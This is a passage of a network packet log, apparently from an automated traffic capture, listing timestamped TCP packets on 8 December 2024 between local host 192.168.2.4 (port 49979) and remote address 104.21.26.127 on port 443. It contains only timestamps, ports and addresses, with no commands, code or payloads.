Dec 8, 2024 01:46:57.095098972 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.101099968 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.101113081 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.101150990 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.101155996 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.101180077 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.101202965 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.107340097 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.107353926 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.107413054 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.107417107 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.107448101 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.112761021 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.112773895 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.112843990 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.112848997 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.112895012 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.118498087 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.118513107 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.118630886 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.118635893 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.118685007 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.124758005 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.124773026 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.125504971 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.125509977 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.125560045 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.275979996 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.275999069 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.276073933 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.276079893 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.276123047 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.281620026 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.281635046 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.281688929 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.281693935 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.281729937 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.287055016 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.287069082 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.287128925 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.287133932 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.287173986 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.293174982 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.293193102 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.293237925 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.293242931 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.293260098 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.293292999 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.299428940 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.299473047 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.299511909 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.299516916 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.299541950 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.299567938 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.304817915 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.304831028 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.304886103 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.304891109 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.304938078 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.311348915 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.311362028 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.311414003 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.311419010 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.311464071 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.316771030 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.316785097 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.316839933 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.316844940 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.316865921 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.316881895 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.467955112 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.467971087 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.468183994 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.468190908 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.468234062 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.473587990 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.473604918 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.473674059 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.473680019 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.473731041 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.479013920 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.479028940 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.479091883 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.479096889 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.479141951 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.485225916 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.485239029 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.485426903 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.485431910 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.485476971 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.491322994 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.491337061 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.491404057 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.491408110 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.491447926 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.496731997 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.496745110 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.496829987 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.496834993 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.496877909 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.503315926 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.503331900 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.503393888 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.503398895 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.503444910 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.508820057 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.508835077 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.508900881 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.508908033 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.508954048 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.659957886 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.659976959 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.660049915 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.660056114 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.660104036 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.665551901 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.665569067 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.665630102 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.665635109 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.665673018 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.670974016 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.670988083 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.671066999 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.671072006 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.671113014 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.677189112 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.677203894 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.677267075 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.677270889 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.677310944 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.683298111 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.683337927 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.683406115 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.683409929 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.683445930 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.688747883 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.688762903 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.688838005 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.688843012 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.688888073 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.692178965 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.692364931 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.692368984 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.695287943 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.695360899 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.695364952 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.700726986 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.700745106 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.700831890 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.700836897 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.704158068 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.704243898 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.704247952 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.745191097 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.854121923 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.854141951 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.854203939 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.854209900 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.854233027 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.854249954 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.860378981 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.860397100 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.860447884 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.860452890 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.860476017 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.860491991 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.866462946 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.866480112 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.866530895 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.866534948 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.866580009 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.872657061 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.872685909 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.872781038 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.872786999 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.872834921 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.878106117 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.878127098 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.878184080 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.878189087 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.878227949 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.884212971 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.884227991 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.884314060 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.884319067 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.884361029 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.890103102 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.890115976 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.890185118 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.890189886 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.890228033 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.896199942 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.896213055 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.896269083 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:57.896274090 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:57.896320105 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.046255112 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.046273947 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.046365976 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.046372890 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.046408892 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.052419901 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.052433968 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.052515030 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.052520037 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.052562952 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.058552027 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.058566093 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.058635950 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.058640003 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.058677912 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.064778090 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.064807892 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.064872026 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.064876080 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.064913988 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.070193052 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.070204973 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.070265055 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.070270061 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.070314884 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.076761007 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.076775074 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.076838970 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.076843977 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.076879025 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.082145929 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.082159996 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.082217932 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.082225084 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.082257986 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.088284969 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.088299036 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.088357925 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.088361979 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.088398933 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.475256920 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.475272894 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.475332022 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.475342989 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.475353956 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.475915909 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.476596117 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.476630926 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.476641893 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.476658106 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.476661921 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.476680040 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.476703882 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.479252100 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.479264021 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.479334116 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.479338884 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.479383945 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.480221987 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.480247974 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.480273008 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.480276108 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.480300903 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.483130932 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.483143091 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.483181000 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.483186007 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.483205080 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.485862017 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.485873938 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.485899925 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.485925913 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.485930920 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.485965014 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.485990047 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.488595009 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.488609076 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.488650084 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.488655090 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.488673925 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.488697052 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.490420103 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.490436077 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.490478992 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.490483046 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.490504026 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.490515947 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.493124008 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.493138075 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.493180990 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.493185043 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.493196964 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.493232965 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.494945049 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.494956970 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.494996071 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.494999886 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.495026112 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.495042086 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.496818066 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.496835947 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.496890068 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.496895075 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.496932983 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.499522924 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.499536037 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.499586105 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.499591112 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.499625921 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.501306057 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.501321077 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.501399040 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.501404047 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.501449108 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.503988981 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.504003048 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.504061937 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.504065990 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.504110098 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.505897045 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.505911112 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.505966902 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.505971909 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.506012917 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.508514881 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.508537054 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.508575916 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.508579969 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.508599043 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.508620977 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.625611067 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.625627995 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.625885010 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.625890970 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.625946999 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.630084038 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.630096912 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.630162954 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.630168915 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.630212069 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.634924889 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.634938002 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:58.634999037 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:58.635004044 CET	443	49979	104.21.26.127	192.168.2.4
